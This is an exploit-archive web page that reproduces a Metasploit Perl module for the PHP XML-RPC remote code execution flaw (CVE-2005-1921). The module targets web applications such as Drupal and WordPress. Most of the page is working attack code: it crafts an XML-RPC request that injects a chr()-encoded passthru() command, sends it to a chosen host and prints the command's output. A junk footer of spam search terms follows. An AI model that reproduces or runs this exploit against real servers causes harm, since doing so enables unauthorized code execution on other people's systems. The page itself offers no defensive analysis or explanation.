about advertise contact
Search: Home Vulnerabilities Exploits News Articles RSS Feeds Archive

exploits , vulnerabilities , articles , PHP XML-RPC Module <= 1.3.0 Remote Code Execution Exploit



2005-07-17 PHP XML-RPC Module <= 1.3.0 Remote Code Execution Exploit
Rated as : High Risk 

##
# This file is part of the Metasploit Framework and may be redistributed
# according to the licenses defined in the Authors field below. In the
# case of an unknown or missing license, this file defaults to the same
# license as the core Framework (dual GPLv2 and Artistic). The latest
# version of the Framework can always be obtained from metasploit.com.
##

package Msf::Exploit::php_xmlrpc_eval;
use base "Msf::Exploit";
use strict;
use Pex::Text;
use bytes;

my $advanced = { };

my $info = {
'Name' => 'PHP XML-RPC Arbitrary Code Execution',
'Version' => '$Revision: 1.1 $',
'Authors' => [ 'H D Moore <hdm [at] metasploit.com>' ],
'Arch' => [ ],
'OS' => [ ],
'Priv' => 0,
'UserOpts' =>
{
'RHOST' => [1, 'ADDR', 'The target address'],
'RPORT' => [1, 'PORT', 'The target port', 80],
'VHOST' => [0, 'DATA', 'The virtual host name of the server'],
'RPATH' => [1, 'DATA', 'Path to the XML-RPC script', '/xmlrpc.php'],
'SSL' => [0, 'BOOL', 'Use SSL'],
},

'Description' => Pex::Text::Freeform(qq{
This module exploits an arbitrary code execution flaw discovered in many
implementations of the PHP XML-RPC module. This flaw is exploitable
through
a number of PHP web applications, including but not limited to Drupal,
Wordpress,
Postnuke, and TikiWiki.
}),

'Refs' =>
[
['BID', '14088'],
['CVE', '2005-1921'],
],

'Payload' =>
{
'Space' => 512,
'Keys' => ['cmd', 'cmd_bash'],
},

'Keys' => ['xmlrpc'],
};

sub new {
my $class = shift;
my $self = $class->SUPER::new({'Info' => $info, 'Advanced' =>
$advanced}, @_);
return($self);
}

sub Exploit {
my $self = shift;
my $target_host = $self->GetVar('RHOST');
my $target_port = $self->GetVar('RPORT');
my $vhost = $self->GetVar('VHOST') || $target_host;
my $path = $self->GetVar('RPATH');
my $cmd = $self->GetVar('EncodedPayload')->RawPayload;

# Encode the command as a set of chr() function calls
my $byte = join('.', map { $_ = 'chr('.$_.')' } unpack('C*', $cmd));

# Create the XML-RPC post data
my $data = 
'<?xml version="1.0"?>'.
"<methodCall><methodName>".Pex::Text::AlphaNumText(int(rand(128)+32))."</methodName>".
"<params><param><name>".Pex::Text::AlphaNumText(int(rand(128)+32))."');".
"echo('_cmd_beg_\n');".
"passthru($byte);".
"echo('_cmd_end_\n');".
";//</name><value>".
Pex::Text::AlphaNumText(int(rand(128)+32)).
"</value></param></params></methodCall>";

my $req =
"POST $path HTTP/1.1\r\n".
"Host: $vhost:$target_port\r\n".
"Content-Type: application/xml\r\n".
"Content-Length: ". length($data)."\r\n".
"Connection: Close\r\n".
"\r\n". $data . "\r\n";

my $s = Msf::Socket::Tcp->new(
'PeerAddr' => $target_host,
'PeerPort' => $target_port,
'LocalPort' => $self->GetVar('CPORT'), 
'SSL' => $self->GetVar('SSL'),
);

if ($s->IsError){
$self->PrintLine('[*] Error creating socket: ' . $s->GetError);
return;
}

$self->PrintLine("[*] Sending the malicious XML-RPC POST
request...");

$s->Send($req);

my $results = $s->Recv(-1, 20);
$s->Close();

if ($results =~ m/_cmd_beg_(.*)_cmd_end_/ms) {
my $out = $1;
$out =~ s/^\s+|\s+$//gs;
if ($out) {
$self->PrintLine('----------------------------------------');
$self->PrintLine('');
$self->PrintLine($out);
$self->PrintLine('');
$self->PrintLine('----------------------------------------');
}
}

return;
}

1;
securitydot.net - 2005-07-17

Advertising

Copyright 2007, SecurityDot
Wed, 03 Dec 2008 08:56:22 +0000

Friends : milw0rm.com , secunia.com , securityfocus.com
GOOGLE
NEWS EXPLOITS VULNS
exploits , 0day exploits , newest exploits , vulnerabilities , newest vulnerabilities , 0day vulnerabilities , newest articles , linux articles , articles
Nero-6.6.1 8L6.cn sexe.filam java mail Siswi sms Download M Open+file Www.sexy p hqasians.c t264t tv tv 1 t132t sexi moves windows 20 vBulletin+ Www.89sex. xxxxporn.c schoolsexv nonghoi.co port53 www.pink w Freefilm2m sexygirlso 18 year Gi mambo Remo pornmove www.shakir NFS-or-IIS associates WWW.Sex 30 Video sex Sex miyabi Trish vide kanpur uni news+for+C eighteen y Pelajar in t264t pay+pal Www.89sex. Gallarry guntur+sex telungu se vbulletin+ softbb mambo lett news for c indian aun Apache htt nonghoi.co